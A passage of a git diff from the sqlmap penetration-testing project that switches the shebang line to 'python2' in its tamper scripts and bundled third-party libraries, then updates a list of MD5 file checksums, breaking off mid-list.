b/tamper/__init__.py index c654cbef7f4..8307a1c2877 100644 --- a/tamper/__init__.py +++ b/tamper/__init__.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/tamper/apostrophemask.py b/tamper/apostrophemask.py index d5ed52de31f..889f59bd523 100644 --- a/tamper/apostrophemask.py +++ b/tamper/apostrophemask.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/tamper/apostrophenullencode.py b/tamper/apostrophenullencode.py index 751c0096bcc..76101228283 100644 --- a/tamper/apostrophenullencode.py +++ b/tamper/apostrophenullencode.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/tamper/appendnullbyte.py b/tamper/appendnullbyte.py index 5d23e4d5789..3b2e0cddbe3 100644 --- a/tamper/appendnullbyte.py +++ b/tamper/appendnullbyte.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/tamper/base64encode.py b/tamper/base64encode.py index 86eaa1c7bd5..7c4617fa1b2 100644 --- a/tamper/base64encode.py +++ b/tamper/base64encode.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/tamper/between.py b/tamper/between.py index 7ee05fb41db..d9c971660cf 100644 --- a/tamper/between.py +++ b/tamper/between.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/tamper/bluecoat.py b/tamper/bluecoat.py index 4b88a3985c5..67dd9b716bd 100644 --- a/tamper/bluecoat.py +++ b/tamper/bluecoat.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/tamper/chardoubleencode.py b/tamper/chardoubleencode.py index 512c2b3b4c6..dd638487dd8 100644 --- a/tamper/chardoubleencode.py +++ b/tamper/chardoubleencode.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/tamper/charencode.py b/tamper/charencode.py index bf2283b1f70..d1d5d4d479c 100644 --- a/tamper/charencode.py +++ b/tamper/charencode.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/tamper/charunicodeencode.py b/tamper/charunicodeencode.py index 8bd456fabc4..5999d73eb9b 100644 --- a/tamper/charunicodeencode.py +++ b/tamper/charunicodeencode.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/tamper/charunicodeescape.py b/tamper/charunicodeescape.py index 790d8d6c49a..9e23887a638 100644 --- a/tamper/charunicodeescape.py +++ b/tamper/charunicodeescape.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/tamper/commalesslimit.py b/tamper/commalesslimit.py index 7ebecbcecb4..b3a561e708b 100644 --- a/tamper/commalesslimit.py +++ b/tamper/commalesslimit.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/tamper/commalessmid.py b/tamper/commalessmid.py index 3795868297a..ffe9486f197 100644 --- a/tamper/commalessmid.py +++ b/tamper/commalessmid.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/tamper/commentbeforeparentheses.py b/tamper/commentbeforeparentheses.py index 23933c279ea..4d394f58ed1 100644 --- a/tamper/commentbeforeparentheses.py +++ b/tamper/commentbeforeparentheses.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/tamper/concat2concatws.py b/tamper/concat2concatws.py index d2663bb2f79..93679912ad1 100644 --- a/tamper/concat2concatws.py +++ b/tamper/concat2concatws.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/tamper/equaltolike.py b/tamper/equaltolike.py index bc65eff13db..6aa8aae3b3d 100644 --- a/tamper/equaltolike.py +++ b/tamper/equaltolike.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/tamper/escapequotes.py b/tamper/escapequotes.py index db7c4c38876..3c75cf0fbe4 100644 --- a/tamper/escapequotes.py +++ b/tamper/escapequotes.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/tamper/greatest.py b/tamper/greatest.py index 989280cc89d..9a6a49c8d7f 100644 --- a/tamper/greatest.py +++ b/tamper/greatest.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/tamper/halfversionedmorekeywords.py b/tamper/halfversionedmorekeywords.py index 7a40f9f4c61..36bbed7f167 100644 --- a/tamper/halfversionedmorekeywords.py +++ b/tamper/halfversionedmorekeywords.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/tamper/htmlencode.py b/tamper/htmlencode.py index 8eed7b406b6..491c67322cf 100644 --- a/tamper/htmlencode.py +++ b/tamper/htmlencode.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/tamper/ifnull2casewhenisnull.py b/tamper/ifnull2casewhenisnull.py index 0a23ce71ac7..6ddaf128e0f 100644 --- a/tamper/ifnull2casewhenisnull.py +++ b/tamper/ifnull2casewhenisnull.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/tamper/ifnull2ifisnull.py b/tamper/ifnull2ifisnull.py index 060b88a03f2..125efd66feb 100644 --- a/tamper/ifnull2ifisnull.py +++ b/tamper/ifnull2ifisnull.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/tamper/informationschemacomment.py b/tamper/informationschemacomment.py index 7076fecaa70..b6f472e687b 100644 --- a/tamper/informationschemacomment.py +++ b/tamper/informationschemacomment.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/tamper/least.py b/tamper/least.py index 53a8a6aadef..5a0e96ee24e 100644 --- a/tamper/least.py +++ b/tamper/least.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/tamper/lowercase.py b/tamper/lowercase.py index 101e4436a70..4aff78cf7bd 100644 --- a/tamper/lowercase.py +++ b/tamper/lowercase.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/tamper/luanginx.py b/tamper/luanginx.py index edd22583670..bda88395034 100644 --- a/tamper/luanginx.py +++ b/tamper/luanginx.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/tamper/modsecurityversioned.py b/tamper/modsecurityversioned.py index 0c4ee3e41d0..9904708b803 100644 --- a/tamper/modsecurityversioned.py +++ b/tamper/modsecurityversioned.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/tamper/modsecurityzeroversioned.py b/tamper/modsecurityzeroversioned.py index af358f58b9a..7ded8627b30 100644 --- a/tamper/modsecurityzeroversioned.py +++ b/tamper/modsecurityzeroversioned.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/tamper/multiplespaces.py b/tamper/multiplespaces.py index 57cc2327208..2de4ab929a2 100644 --- a/tamper/multiplespaces.py +++ b/tamper/multiplespaces.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/tamper/overlongutf8.py b/tamper/overlongutf8.py index 5cc28a6308a..7d60682b8b6 100644 --- a/tamper/overlongutf8.py +++ b/tamper/overlongutf8.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/tamper/overlongutf8more.py b/tamper/overlongutf8more.py index 301945f4f6f..a6f658052ae 100644 --- a/tamper/overlongutf8more.py +++ b/tamper/overlongutf8more.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/tamper/percentage.py b/tamper/percentage.py index 71259fd88f2..57abb0f1c3c 100644 --- a/tamper/percentage.py +++ b/tamper/percentage.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/tamper/plus2concat.py b/tamper/plus2concat.py index acc800022a8..1304c9c5ebe 100644 --- a/tamper/plus2concat.py +++ b/tamper/plus2concat.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/tamper/plus2fnconcat.py b/tamper/plus2fnconcat.py index 99e0a144255..4a1bca1e87e 100644 --- a/tamper/plus2fnconcat.py +++ b/tamper/plus2fnconcat.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/tamper/randomcase.py b/tamper/randomcase.py index 2e9fb575b1a..09303de339e 100644 --- a/tamper/randomcase.py +++ b/tamper/randomcase.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/tamper/randomcomments.py b/tamper/randomcomments.py index 1e9c7815afa..2b45d723c72 100644 --- a/tamper/randomcomments.py +++ b/tamper/randomcomments.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/tamper/sp_password.py b/tamper/sp_password.py index 0f2f813a49b..4fd8a6ce090 100644 --- a/tamper/sp_password.py +++ b/tamper/sp_password.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/tamper/space2comment.py b/tamper/space2comment.py index 2f06c5b2d3c..bd296db90fe 100644 --- a/tamper/space2comment.py +++ b/tamper/space2comment.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/tamper/space2dash.py b/tamper/space2dash.py index 4ce7423f6c1..970c71f0884 100644 --- a/tamper/space2dash.py +++ b/tamper/space2dash.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/tamper/space2hash.py b/tamper/space2hash.py index 7acf8f6dcfc..ffc0fe06c9e 100644 --- a/tamper/space2hash.py +++ b/tamper/space2hash.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/tamper/space2morecomment.py b/tamper/space2morecomment.py index 3dd9a7f02f7..379667382a6 100644 --- a/tamper/space2morecomment.py +++ b/tamper/space2morecomment.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/tamper/space2morehash.py b/tamper/space2morehash.py index c722553b7d1..b941feec1ed 100644 --- a/tamper/space2morehash.py +++ b/tamper/space2morehash.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/tamper/space2mssqlblank.py b/tamper/space2mssqlblank.py index 37998f6eb22..b581984aa9a 100644 --- a/tamper/space2mssqlblank.py +++ b/tamper/space2mssqlblank.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/tamper/space2mssqlhash.py b/tamper/space2mssqlhash.py index d139f6b0cf8..4d7796e181a 100644 --- a/tamper/space2mssqlhash.py +++ b/tamper/space2mssqlhash.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/tamper/space2mysqlblank.py b/tamper/space2mysqlblank.py index c28dc97dc41..aca3bf9788a 100644 --- a/tamper/space2mysqlblank.py +++ b/tamper/space2mysqlblank.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/tamper/space2mysqldash.py b/tamper/space2mysqldash.py index 1394d14d4a0..72ca303b8b7 100644 --- a/tamper/space2mysqldash.py +++ b/tamper/space2mysqldash.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/tamper/space2plus.py b/tamper/space2plus.py index 06868cf3379..d14201a203f 100644 --- a/tamper/space2plus.py +++ b/tamper/space2plus.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/tamper/space2randomblank.py b/tamper/space2randomblank.py index d8cd9423998..15623fa6abd 100644 --- a/tamper/space2randomblank.py +++ b/tamper/space2randomblank.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/tamper/substring2leftright.py b/tamper/substring2leftright.py index 4ed890c0b7c..8e1ea841003 100644 --- a/tamper/substring2leftright.py +++ b/tamper/substring2leftright.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/tamper/symboliclogical.py b/tamper/symboliclogical.py index 6cac245b917..df542d4b536 100644 --- a/tamper/symboliclogical.py +++ b/tamper/symboliclogical.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/tamper/unionalltounion.py b/tamper/unionalltounion.py index 6d24acb062a..f8d2e6eca11 100644 --- a/tamper/unionalltounion.py +++ b/tamper/unionalltounion.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/tamper/unmagicquotes.py b/tamper/unmagicquotes.py index 9cea29e05a4..1b45bcfdd21 100644 --- a/tamper/unmagicquotes.py +++ b/tamper/unmagicquotes.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/tamper/uppercase.py b/tamper/uppercase.py index faec80704ba..075a23d85b6 100644 --- a/tamper/uppercase.py +++ b/tamper/uppercase.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/tamper/varnish.py b/tamper/varnish.py index d37f4ae2f58..0eafb243c53 100644 --- a/tamper/varnish.py +++ b/tamper/varnish.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/tamper/versionedkeywords.py b/tamper/versionedkeywords.py index af27d4cbe50..ca0f6fdc522 100644 --- a/tamper/versionedkeywords.py +++ b/tamper/versionedkeywords.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/tamper/versionedmorekeywords.py b/tamper/versionedmorekeywords.py index 4f926344228..cf28e57ad00 100644 --- a/tamper/versionedmorekeywords.py +++ b/tamper/versionedmorekeywords.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/tamper/xforwardedfor.py b/tamper/xforwardedfor.py index 88845f8a6f4..e3b33111830 100644 --- a/tamper/xforwardedfor.py +++ b/tamper/xforwardedfor.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) diff --git a/thirdparty/beautifulsoup/__init__.py b/thirdparty/beautifulsoup/__init__.py index 7954a3d0a47..38750ac1ed3 100644 --- a/thirdparty/beautifulsoup/__init__.py +++ b/thirdparty/beautifulsoup/__init__.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 # # Copyright (c) 2004-2010, Leonard Richardson # diff --git a/thirdparty/bottle/bottle.py b/thirdparty/bottle/bottle.py index a937493ba8a..76c605ba8f7 100644 --- a/thirdparty/bottle/bottle.py +++ b/thirdparty/bottle/bottle.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 # -*- coding: utf-8 -*- """ Bottle is a fast and simple micro-framework for small web applications. It diff --git a/thirdparty/chardet/chardetect.py b/thirdparty/chardet/chardetect.py index ffe892f25db..1604c20d30f 100644 --- a/thirdparty/chardet/chardetect.py +++ b/thirdparty/chardet/chardetect.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ Script which takes one or more file paths and reports on their detected encodings diff --git a/thirdparty/clientform/__init__.py b/thirdparty/clientform/__init__.py index d79a05bdaa7..8e67f4348f8 100644 --- a/thirdparty/clientform/__init__.py +++ b/thirdparty/clientform/__init__.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 # # Copyright 2007-2008 David McNab # diff --git a/thirdparty/fcrypt/__init__.py b/thirdparty/fcrypt/__init__.py index 31bb3a635d6..d95a61132d8 100644 --- a/thirdparty/fcrypt/__init__.py +++ b/thirdparty/fcrypt/__init__.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 #Copyright (c) 2004, Carey Evans <careye@spamcop.net> #All rights reserved. diff --git a/thirdparty/gprof2dot/__init__.py b/thirdparty/gprof2dot/__init__.py index c1a869589f3..5ef1f2dc104 100644 --- a/thirdparty/gprof2dot/__init__.py +++ b/thirdparty/gprof2dot/__init__.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 # # Copyright 2008-2009 Jose Fonseca # diff --git a/thirdparty/gprof2dot/gprof2dot.py b/thirdparty/gprof2dot/gprof2dot.py index f347961996f..acb7b95e842 100644 --- a/thirdparty/gprof2dot/gprof2dot.py +++ b/thirdparty/gprof2dot/gprof2dot.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 # # Copyright 2008-2009 Jose Fonseca # diff --git a/thirdparty/keepalive/__init__.py b/thirdparty/keepalive/__init__.py index 08a0be4d99a..538ea244cfd 100644 --- a/thirdparty/keepalive/__init__.py +++ b/thirdparty/keepalive/__init__.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 # # Copyright 2002-2003 Michael D. Stenner # diff --git a/thirdparty/keepalive/keepalive.py b/thirdparty/keepalive/keepalive.py index 5422d5ac5fd..0ff98d98247 100644 --- a/thirdparty/keepalive/keepalive.py +++ b/thirdparty/keepalive/keepalive.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 # -*- coding: utf-8 -*- # This library is free software; you can redistribute it and/or diff --git a/thirdparty/multipart/multipartpost.py b/thirdparty/multipart/multipartpost.py index aeeeadab832..76c0505de5b 100644 --- a/thirdparty/multipart/multipartpost.py +++ b/thirdparty/multipart/multipartpost.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """ 02/2006 Will Holcomb <wholcomb@gmail.com> diff --git a/thirdparty/odict/__init__.py b/thirdparty/odict/__init__.py index 8571776ae42..c9dcf471e21 100644 --- a/thirdparty/odict/__init__.py +++ b/thirdparty/odict/__init__.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 import sys diff --git a/thirdparty/oset/_abc.py b/thirdparty/oset/_abc.py index cf265cf0505..ae6db97065e 100644 --- a/thirdparty/oset/_abc.py +++ b/thirdparty/oset/_abc.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 # -*- mode:python; tab-width: 2; coding: utf-8 -*- """Partially backported python ABC classes""" diff --git a/thirdparty/oset/pyoset.py b/thirdparty/oset/pyoset.py index 223c92a44d7..944d75c82e5 100644 --- a/thirdparty/oset/pyoset.py +++ b/thirdparty/oset/pyoset.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 # -*- mode:python; tab-width: 2; coding: utf-8 -*- """Partially backported python ABC classes""" diff --git a/thirdparty/prettyprint/__init__.py b/thirdparty/prettyprint/__init__.py index 1f9e1434354..77745d480bd 100644 --- a/thirdparty/prettyprint/__init__.py +++ b/thirdparty/prettyprint/__init__.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 #Copyright (c) 2010, Chris Hall <chris.hall@mod10.net> #All rights reserved. diff --git a/thirdparty/prettyprint/prettyprint.py b/thirdparty/prettyprint/prettyprint.py index 586d808114a..04123594875 100644 --- a/thirdparty/prettyprint/prettyprint.py +++ b/thirdparty/prettyprint/prettyprint.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 #Copyright (c) 2010, Chris Hall <chris.hall@mod10.net> #All rights reserved. diff --git a/thirdparty/pydes/__init__.py b/thirdparty/pydes/__init__.py index b412cc83133..3cd5835480b 100644 --- a/thirdparty/pydes/__init__.py +++ b/thirdparty/pydes/__init__.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 # # Copyright 2009 Todd Whiteman # diff --git a/thirdparty/socks/socks.py b/thirdparty/socks/socks.py index 2eaf223d875..5924aaae857 100644 --- a/thirdparty/socks/socks.py +++ b/thirdparty/socks/socks.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 """SocksiPy - Python SOCKS module. Version 1.00 diff --git a/thirdparty/wininetpton/__init__.py b/thirdparty/wininetpton/__init__.py index 5ea298dc195..cd479efd9f3 100644 --- a/thirdparty/wininetpton/__init__.py +++ b/thirdparty/wininetpton/__init__.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 # # Copyright Ryan Vennell # diff --git a/thirdparty/wininetpton/win_inet_pton.py b/thirdparty/wininetpton/win_inet_pton.py index 50ae621e53b..1f2b69b0264 100644 --- a/thirdparty/wininetpton/win_inet_pton.py +++ b/thirdparty/wininetpton/win_inet_pton.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 # This software released into the public domain. Anyone is free to copy, # modify, publish, use, compile, sell, or distribute this software, # either in source code form or as a compiled binary, for any purpose, diff --git a/thirdparty/xdot/__init__.py b/thirdparty/xdot/__init__.py index c1a869589f3..5ef1f2dc104 100644 --- a/thirdparty/xdot/__init__.py +++ b/thirdparty/xdot/__init__.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 # # Copyright 2008-2009 Jose Fonseca # diff --git a/thirdparty/xdot/xdot.py b/thirdparty/xdot/xdot.py index 4cb0004b9e3..beb53644242 100644 --- a/thirdparty/xdot/xdot.py +++ b/thirdparty/xdot/xdot.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python2 # # Copyright 2008 Jose Fonseca # diff --git a/txt/checksum.md5 b/txt/checksum.md5 index df76c6faa8d..d147c3998e7 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -1,233 +1,233 @@ 7ad922bcc16462a101862b1b0b15182f COMMITMENT -3d37032b2bd62ee37bd61c5b7ad31ab4 extra/beep/beep.py -fb6be55d21a70765e35549af2484f762 extra/beep/__init__.py -8b4237aae3b82c325e0b34f6adfa0bc3 extra/cloak/cloak.py -fb6be55d21a70765e35549af2484f762 extra/cloak/__init__.py -1046e46c8923ec5afe4f6f1ca3ee55bb extra/dbgtool/dbgtool.py -fb6be55d21a70765e35549af2484f762 extra/dbgtool/__init__.py +2a1a72cc164151e12cd207a476603051 extra/beep/beep.py +cdf3f6e677253f1c85e0b12d9d0d0ac3 extra/beep/__init__.py +3ee776427b69e184d5ddd5f10c1144e6 extra/cloak/cloak.py +cdf3f6e677253f1c85e0b12d9d0d0ac3 extra/cloak/__init__.py +e588bb3cdd310ef6053c3a9f1cd4d7e4 extra/dbgtool/dbgtool.py +cdf3f6e677253f1c85e0b12d9d0d0ac3 extra/dbgtool/__init__.py acba8b5dc93db0fe6b2b04ff0138c33c extra/icmpsh/icmpsh.exe_ -216a0e04bef7053e6aa35ca98907007e extra/icmpsh/icmpsh_m.py -2d020d2bdcee1170805f48839fdb89df extra/icmpsh/__init__.py -fb6be55d21a70765e35549af2484f762 extra/__init__.py +09f857c67b667f7d18ca7a4599968dc7 extra/icmpsh/icmpsh_m.py +bac9cd2a6c748bcbd2c6ff0fb6a01e15 extra/icmpsh/__init__.py +cdf3f6e677253f1c85e0b12d9d0d0ac3 extra/__init__.py ff90cb0366f7cefbdd6e573e27e6238c extra/runcmd/runcmd.exe_ -fb6be55d21a70765e35549af2484f762 extra/safe2bin/__init__.py -c26cfad6b77b44a1317cd058b4477ce0 extra/safe2bin/safe2bin.py +cdf3f6e677253f1c85e0b12d9d0d0ac3 extra/safe2bin/__init__.py +4055e071c6c90d5fec6be7299eb05db8 extra/safe2bin/safe2bin.py d229479d02d21b29f209143cb0547780 extra/shellcodeexec/linux/shellcodeexec.x32_ 2fe2f94eebc62f7614f0391a8a90104f extra/shellcodeexec/linux/shellcodeexec.x64_ c55b400b72acc43e0e59c87dd8bb8d75 extra/shellcodeexec/windows/shellcodeexec.x32.exe_ -a32e12410e0f86c1d035db6daae84680 extra/shutils/duplicates.py -1cf0ecf81a0483c3de78ac683445ac7a extra/shutils/newlines.py -9626f1f72dc96dbdecb1ea7404811902 extra/shutils/pylint.py -80f989adc6d4fa999b414c0787a06c1b extra/shutils/regressiontest.py -fb6be55d21a70765e35549af2484f762 extra/sqlharvest/__init__.py -4f82e97b09cc530cb9a92472d0835cea extra/sqlharvest/sqlharvest.py -fb6be55d21a70765e35549af2484f762 extra/wafdetectify/__init__.py -4dc5e7c5400204159baaf10a0a9124f0 extra/wafdetectify/wafdetectify.py -e6909a3b32fc09c0373101eb58c76538 lib/controller/action.py -e51ec20c402d53c3cbcae0b6bd71bd5d lib/controller/checks.py -8581acf56b8fb0def50af3707490a834 lib/controller/controller.py -c1da277517c7ec4c23e953a51b51e203 lib/controller/handler.py -fb6be55d21a70765e35549af2484f762 lib/controller/__init__.py -ed7874be0d2d3802f3d20184f2b280d5 lib/core/agent.py -a932126e7d80e545c5d44af178d0bc0c lib/core/bigarray.py -b9ba702c5af857c0188104c9fbd5d56b lib/core/common.py -de8d27ae6241163ff9e97aa9e7c51a18 lib/core/convert.py -abcb1121eb56d3401839d14e8ed06b6e lib/core/data.py -f89512ef3ebea85611c5dde6c891b657 lib/core/datatype.py -3d547dedebef3be749cf38e4e798e120 lib/core/decorators.py -5f4680b769ae07f22157bd832c97cf8f lib/core/defaults.py -9dfc69ba47209a4ceca494dde9ee8183 lib/core/dicts.py -4ba141124699fd7a763dea82f17fe523 lib/core/dump.py -347817fbbb35b245b762dd7ee8a47fe7 lib/core/enums.py -84ef8f32e4582fcc294dc14e1997131d lib/core/exception.py -fb6be55d21a70765e35549af2484f762 